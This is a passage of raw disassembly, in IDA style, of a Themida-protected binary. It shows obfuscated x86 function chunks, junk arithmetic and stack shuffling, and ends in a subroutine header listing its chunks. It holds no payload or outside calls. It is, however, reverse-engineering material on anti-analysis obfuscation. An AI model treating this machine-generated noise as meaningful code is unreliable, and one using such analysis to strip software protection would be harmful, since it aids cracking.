or ebx, ebx
jnz loc_597A0A
push 7241h
mov [esp-0Ah+arg_4+2], eax
jmp loc_58ADF2
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58BAFA: ; CODE XREF: sub_5938B9-4147j
; sub_590467+5877j
sub al, 29h
mov ch, al
pop eax
add bl, ch
jmp loc_5949A7
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58BB06: ; CODE XREF: sub_5916C4-F98j
; Themida_:00593791j
neg esi
sub esi, 80976724h
sub ebx, esi
pop esi
pop edi
add ebx, 7F907FDDh
jmp loc_595A8E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58BB1D: ; CODE XREF: Themida_:0058AF15j
pop ebx
jmp loc_58FDBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58BB23: ; CODE XREF: sub_5EC2E8:loc_5947DCj
or dl, 81h
jnp sub_590C09
push ebx
mov bl, 1Ch
jmp loc_58BB94
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
dec edx
mov edi, ebp
or al, 0F5h
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58BB39: ; CODE XREF: sub_58F5B5-2E50j
shr eax, 10h
xor eax, ecx
sub esp, 4
mov [esp-8+arg_4], eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_58DEED
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58BB53: ; CODE XREF: Themida_:0058BF27j
mov esi, 0FFEE55F5h
jmp loc_58A3FC
; ---------------------------------------------------------------------------
loc_58BB5D: ; CODE XREF: Themida_:0058A399j
pop esi
jmp loc_58AA1A
; ---------------------------------------------------------------------------
loc_58BB63: ; CODE XREF: Themida_:00595C09j
shl ebx, 7
not ebx
and ebx, 52AA0548h
jmp loc_5975A1
; ---------------------------------------------------------------------------
loc_58BB73: ; CODE XREF: Themida_:00590F0Bj
sub eax, 7C7A5F4Fh
sub eax, 52C83D3Dh
jmp loc_58DA99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58BB82: ; CODE XREF: sub_58F5B5+125Bj
sub [esp-8+arg_4], 252E2528h
pop edi
push 2B80h
jmp loc_593EB6
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58BB94: ; CODE XREF: sub_5EC2E8-607B9j
; sub_58C17E+3AAFj
xor [esp+28h+var_28], edi
jmp loc_59129D
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58BB9C: ; CODE XREF: sub_590467+6E38j
or ebp, 3C35629Eh
jnb loc_58B365
inc ebp
not ebp
inc ebp
jg loc_58C397
loc_58BBB2: ; CODE XREF: Themida_:00597C44j
pop cx
add al, 0C1h
add al, bl
push ecx
mov ch, 0C1h
sub al, ch
jmp loc_595F30
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5941A2
; ---------------------------------------------------------------------------
loc_58BBCA: ; CODE XREF: Themida_:005960F8j
sub esp, 4
mov [esp], eax
mov eax, 21801B4Bh
xor edx, eax
jmp loc_59230E
; ---------------------------------------------------------------------------
loc_58BBDF: ; CODE XREF: Themida_:0058FA54j
xor bh, al
pop eax
add al, 29h
add al, bh
sub al, 29h
pop bx
sub esp, 4
mov [esp], ebx
mov bl, 0B0h
shl bl, 4
jmp loc_59271C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58BBFA: ; CODE XREF: sub_5EC2E8-5A183j
or edx, eax
shl edx, 1
push 65C0h
mov [esp+2Ch+var_2C], ebp
push eax
push 3286058Ah
mov eax, [esp+34h+var_34]
add esp, 4
shl eax, 8
jz loc_594C51
jmp loc_58D051
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58BC23: ; CODE XREF: Themida_:00597788j
mov esi, 6F25374Eh
sub esi, edi
jmp loc_596E2E
; ---------------------------------------------------------------------------
loc_58BC2F: ; CODE XREF: Themida_:0058E407j
; Themida_:00591E18j
push 6F81h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_592114
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BC67: ; CODE XREF: sub_58C17E+5B6Bj
pop edx
xchg eax, [esp-0Eh+arg_8+2]
pop esp
mov cx, word ptr [esp-12h+arg_C+2]
push ebp
mov ebp, esp
add ebp, 4
push 186Bh
jmp loc_597E38
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58BC83: ; CODE XREF: Themida_:00594931j
xor esi, [esp]
mov esp, [esp]
push esi
push esp
pop esi
jmp loc_58CCDD
; ---------------------------------------------------------------------------
loc_58BC91: ; CODE XREF: Themida_:00590B2Fj
push dword ptr [esp]
pop edi
jmp loc_58B61E
; ---------------------------------------------------------------------------
loc_58BC9A: ; CODE XREF: Themida_:loc_58DD46j
jmp loc_593A62
; ---------------------------------------------------------------------------
loc_58BC9F: ; CODE XREF: Themida_:00596F7Bj
pop ecx
jmp loc_594A0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58BCA5: ; CODE XREF: sub_590467+236Ej
sub bl, cl
jmp loc_58A76D
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58BCAC: ; CODE XREF: Themida_:0058CFBCj
mov ecx, 6796181Dh
shr ecx, 2
xor ecx, 30729778h
or edx, ecx
pop ecx
jmp loc_596850
; ---------------------------------------------------------------------------
loc_58BCC2: ; CODE XREF: Themida_:0058B080j
bts [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EC96
loc_58BCCD: ; CODE XREF: sub_58EC96+52BCj
push 931h
mov [esp+4+var_4], edx
mov dh, 0
inc dh
add dh, 0B0h
sub dh, 4Bh
sub cl, dh
pop edx
mov ebx, [esp+0]
add esp, 4
sub bl, 5Dh
sub bl, cl
add bl, 5Dh
pop ecx
jmp loc_59664B
; END OF FUNCTION CHUNK FOR sub_58EC96
; ---------------------------------------------------------------------------
loc_58BCF9: ; CODE XREF: Themida_:0058ACE9j
pop esp
jmp loc_5971CA
; ---------------------------------------------------------------------------
loc_58BCFF: ; CODE XREF: Themida_:005902ADj
pop esi
xor ebp, [esp]
xor [esp], ebp
jmp loc_5920C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58BD0B: ; CODE XREF: sub_5938B9-502Bj
xor ebx, 2CB30EB1h
sub edi, 7E1D0FDEh
sub edi, ebx
jmp loc_59082B
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58BD1E: ; CODE XREF: sub_5916C4-1A17j
not edi
sub edi, 37CF693Bh
jmp loc_593026
; ---------------------------------------------------------------------------
loc_58BD2B: ; CODE XREF: sub_5916C4+3F42j
pop ecx
push eax
mov ah, 0F7h
not ah
inc ah
sub ah, 9Fh
jmp loc_58C9D9
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58BD3B: ; CODE XREF: Themida_:0058F620j
xor ebx, [esp]
xor [esp], ebx
jmp loc_58CA78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58BD46: ; CODE XREF: sub_5EC2E8:loc_5904A9j
; Themida_:005972E2j
mov edx, [esp+30h+var_30]
add esp, 4
sub edi, 8ED08B5h
sub edi, esi
jmp sub_59747D
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58BD59: ; CODE XREF: sub_595258-6E78j
push 5FA8h
mov [esp+0], ebx
mov ebx, 2F620ED3h
mov esi, ebx
pop ebx
shr esi, 3
shl esi, 3
jns loc_58B997
push ecx
mov ecx, 79FB666Ah
or ecx, 4A19697Dh
mov esi, edx
push eax
; END OF FUNCTION CHUNK FOR sub_595258
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58BD84: ; CODE XREF: sub_5EC2E8-54411j
shr dh, 1
add dh, 5Ah
dec dh
or dh, 54h
push ecx
jmp loc_58CE0B
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BD94: ; CODE XREF: sub_58C17E+19E9j
add ch, 0BBh
jmp loc_58F892
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58BD9C: ; CODE XREF: Themida_:00595C3Bj
pop ebp
push 1461h
mov [esp], edi
push esi
mov esi, 54EE575Ch
neg esi
js loc_591356
sub esi, 0AB11A8A2h
push esi
mov edx, ebx
pop esi
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BDBD: ; CODE XREF: sub_58C17E+A92Fj
push [esp-0Ah+arg_4+2]
push [esp-6+arg_0+2]
pop esi
add esp, 4
push ecx
mov ecx, esp
push edi
mov edi, 544271A1h
neg edi
jmp loc_59481B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58BDDA: ; CODE XREF: Themida_:00591904j
sub ebp, 1F141C6Ah
and ebp, 5EEA0DA1h
sub ebp, 9EDFE5F4h
sub eax, ebp
jmp loc_58C3A8
; ---------------------------------------------------------------------------
loc_58BDF3: ; CODE XREF: Themida_:0058A71Ej
mov edx, [esp]
add esp, 4
add edx, 4
push 633h
mov [esp], edi
mov edi, 2
add edx, edi
jmp loc_594E6F
; ---------------------------------------------------------------------------
loc_58BE16: ; CODE XREF: Themida_:00596611j
mov [esp], ecx
push eax
mov ah, 17h
and ah, 8Dh
sub ah, 9Ah
push edx
mov dh, 8Fh
sub ah, dh
pop edx
mov cl, ah
pop eax
shl cl, 1
jmp loc_590BC2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58BE32: ; CODE XREF: sub_5916C4-3971j
sub bl, 8
mov ch, bl
jmp loc_592D63
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BE3C: ; CODE XREF: sub_58C17E+39C4j
mov ecx, 28h
push 32A9h
mov [esp+2+var_4+2], ebx
mov ebx, 1A3025A4h
add ecx, 4E817D08h
jmp loc_5931E2
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5948B7
loc_58BE59: ; CODE XREF: sub_5948B7-3A58j
mov ecx, 5371559Fh
and ecx, 26360458h
add ecx, 1F412102h
push ecx
not [esp+4+var_4]
jmp loc_590305
; END OF FUNCTION CHUNK FOR sub_5948B7
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_58FADC
; ---------------------------------------------------------------------------
loc_58BE93: ; CODE XREF: Themida_:00590826j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
mov edi, 4
add ebp, edi
jmp loc_58C0C7
; ---------------------------------------------------------------------------
loc_58BEA9: ; CODE XREF: Themida_:00593131j
add esp, 4
push edx
mov edx, 4
sub ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
jmp loc_596D1C
; ---------------------------------------------------------------------------
loc_58BEC0: ; CODE XREF: Themida_:0058C7BBj
sub ebx, edx
pop edx
add ebx, 0A877BA99h
and ebp, ebx
pop ebx
xor ebp, 721778FCh
push eax
mov eax, 1B4C5146h
jmp loc_590D3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BEDD: ; CODE XREF: sub_58C17E+FA3j
push edi
mov edi, 12911C2Fh
mov esi, 12911C2Bh
jmp loc_58FC07
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58BEED: ; CODE XREF: sub_595123-41CDj
; Themida_:00597D1Aj
pop edx
pop [esp+0Ch+var_C]
jmp loc_59757F
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_58BEF6: ; CODE XREF: Themida_:00594707j
sub edi, 1DB15A02h
and edi, 7A5376DCh
jmp loc_58DE33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58BF07: ; CODE XREF: sub_59524C-3171j
push 71D06E3Eh
pop ecx
xor ecx, 5DE00431h
jmp loc_59699A
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_58BF18: ; CODE XREF: Themida_:0058E98Ej
pop ecx
jmp loc_5965A4
; ---------------------------------------------------------------------------
loc_58BF1E: ; CODE XREF: Themida_:00591024j
sub esp, 4
mov [esp], esi
jmp loc_58BB53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BF2C: ; CODE XREF: sub_58C17E+2649j
and eax, 48A377BCh
inc eax
sub eax, 0E407E291h
add ecx, eax
pop eax
jmp loc_597CBB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58BF3F: ; CODE XREF: sub_5EC2E8-5E825j
pop esi
xchg esi, ebp
xchg ebp, esi
push eax
push edi
mov edi, 0DCADD322h
mov eax, edi
pop edi
jmp loc_595AD4
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58BF53: ; CODE XREF: Themida_:00594F39j
push eax
jmp loc_597FFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_58BF59: ; CODE XREF: sub_591059+603Dj
or esi, ecx
pop ecx
xor esi, 2ACD3BEDh
jmp loc_59248C
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_58BF67: ; CODE XREF: Themida_:005966B0j
sub edi, 20343098h
mov esi, [esp]
add esp, 4
add edi, 2
jmp loc_590C3D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58BF7E: ; CODE XREF: sub_59524C+AD1j
mov [esp+0], ecx
mov ecx, 87FB5464h
add edx, ecx
pop ecx
jmp loc_58D1C9
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_58BF8E: ; CODE XREF: Themida_:0058A2EEj
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
sub [esp], eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58BFA6: ; CODE XREF: Themida_:005970CAj
xchg esi, [esp]
pop esp
xchg ecx, [esp]
mov esp, [esp]
shr word ptr [esp], cl
pushf
jmp loc_5953B3
; ---------------------------------------------------------------------------
loc_58BFBA: ; CODE XREF: Themida_:00595B06j
or ebx, 7A405900h
neg ebx
jmp loc_58C55E
; ---------------------------------------------------------------------------
loc_58BFC7: ; CODE XREF: Themida_:loc_58CC3Aj
push ecx
push ebx
mov ebx, 7DA0097Bh
jmp loc_590E33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BFD3: ; CODE XREF: sub_58C17E+482j
or bl, 0AFh
jnz loc_595C94
inc bl
jmp loc_58F7A5
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov ch, dl
mov edx, [esp]
loc_58BFE8: ; CODE XREF: Themida_:00592CF1j
shr byte ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BFF1: ; CODE XREF: sub_58C17E+2A3j
mov ebx, esp
jmp loc_58CE8A
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], esi
mov esi, 13BC7553h
sub eax, 2BE439A1h
sub eax, esi
add eax, 2BE439A1h
pop esi
add eax, 41D85510h
add eax, ebx
sub eax, 41D85510h
push edi
push esi
push eax
mov eax, 368D25F5h
jmp loc_5970E9
; ---------------------------------------------------------------------------
lodsd
push esi
mov esi, 0FE67D2Dh
push ecx
jmp loc_58D452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58C03A: ; CODE XREF: sub_590467+4505j
neg cl
xchg cl, al
push edx
mov dl, 7
not dl
dec dl
shl dl, 8
shr dl, 3
jmp loc_58D7EF
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_58C050: ; CODE XREF: sub_58D99C+4D44j
; Themida_:005953BFj
dec byte ptr [esp+0]
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C059: ; CODE XREF: sub_58C17E+7DBFj
sub edx, 3FC579D0h
jmp loc_5957AD
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_58C064: ; CODE XREF: sub_58D99C+11E5j
push 466D37E5h
pop eax
jmp loc_5926D2
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58C06F: ; CODE XREF: sub_59762D-5E04j
sub ebx, 126A201Dh
sub ebx, ebp
jmp loc_5977A7
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58C07C: ; CODE XREF: sub_5916C4-492j
mov edi, [esp-12h+arg_C+2]
add esp, 4
push [esp-16h+arg_10+2]
mov eax, [esp-12h+arg_C+2]
jmp loc_592019
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58C090: ; CODE XREF: Themida_:0058C753j
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
xchg edi, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58C0B5: ; CODE XREF: Themida_:00593F8Ej
jb loc_58DF01
jmp loc_59781D
; ---------------------------------------------------------------------------
pop edx
jmp sub_59762D
; ---------------------------------------------------------------------------
pop edx
loc_58C0C7: ; CODE XREF: Themida_:0058BEA4j
pop edi
jmp loc_58B059
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5965CD
loc_58C0CD: ; CODE XREF: sub_5965CD+6j
mov ecx, [esp+0]
push edi
mov edi, esp
jmp loc_58AD2E
; END OF FUNCTION CHUNK FOR sub_5965CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58C0D8: ; CODE XREF: sub_594654+3662j
mov [esp+8+var_8], edx
push [esp+8+var_4]
pop edx
pop [esp+8+var_8]
jmp loc_58C99E
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
loc_58C0E8: ; CODE XREF: Themida_:0058D5DCj
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_59006C
; ---------------------------------------------------------------------------
loc_58C0F9: ; CODE XREF: Themida_:0058B215j
mov edi, 7D0D039Ah
jmp loc_58FB23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58C103: ; CODE XREF: sub_58F5B5+3A3Dj
mov edx, [esp-8+arg_4]
add esp, 4
loc_58C10C: ; CODE XREF: sub_5916C4-1226j
push 50D6h
mov [esp-8+arg_4], ecx
jmp sub_59338C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_58C119: ; CODE XREF: sub_58DBC4+6568j
pop ebp
shr eax, 8
xor eax, ecx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+0]
jmp loc_58C97F
; END OF FUNCTION CHUNK FOR sub_58DBC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596CA1
loc_58C133: ; CODE XREF: sub_596CA1-3D44j
push eax
mov eax, esp
jmp loc_58D34A
; END OF FUNCTION CHUNK FOR sub_596CA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C13B: ; CODE XREF: Themida_:0058CB1Aj
; sub_590010+3EA1j
push edi
jmp loc_58EAE5
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58C141: ; CODE XREF: Themida_:0058E5BBj
mov [esp], edx
jmp loc_58AAEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58C149: ; CODE XREF: sub_592D25-3F4Bj
mov esp, [esp+0]
mov [esp+0], edx
mov edx, 579F3161h
xor edx, 28D839EBh
push eax
jmp loc_592446
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C160: ; CODE XREF: sub_58C17E+4B8j
; Themida_:00591364j
pop edi
add edi, 57E31B65h
pop esi
jmp loc_595236
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D12
loc_58C16D: ; CODE XREF: sub_592D12-63D2j
add ecx, edx
pop edx
xor ecx, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], ecx
xor ecx, [esp-0Ch+arg_8]
jmp loc_58CD20
; END OF FUNCTION CHUNK FOR sub_592D12
; =============== S U B R O U T I N E =======================================
sub_58C17E proc near ; CODE XREF: sub_5EC2E8:loc_592757j
; sub_595123+2ACj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 0058A42B SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058A4BD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058A569 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A6FB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058A7D7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058A868 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058A8AA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058AADC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058AC8B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058AD2E SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058ADF2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B046 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B095 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B190 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058B499 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058B4E8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B5BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B69B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B878 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058BACA SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058BC67 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058BD94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BDBD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BE3C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058BEDD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BF2C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058BFD3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BFF1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C059 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C160 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C1AC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C1D7 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058C320 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C360 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C41D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C5FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C630 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C692 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C9E9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CA07 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058CAD0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CAF7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CB89 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058CBB7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058CBDC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058CCFB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CDF5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058CE6C SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058CEB9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CED7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CFC1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D05B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D085 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058D116 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D2DA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D35B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058D5E1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D686 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058D770 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058D869 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058D8D5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058D92B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DA2D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DB64 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DC87 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058DFD5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E019 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E145 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E495 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E507 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E5EE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058E7C2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E7DF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E998 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058EC51 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058ED18 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058ED9C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058EE3B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EE52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F10B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F1ED SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058F400 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F4D9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058F572 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F59D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F5C5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F609 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F7A5 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0058F892 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058F970 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058FA20 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FA36 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FB3A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FC07 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058FC27 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FEB6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058FF50 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059018F SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005903B3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590558 SIZE 00000008 BYTES
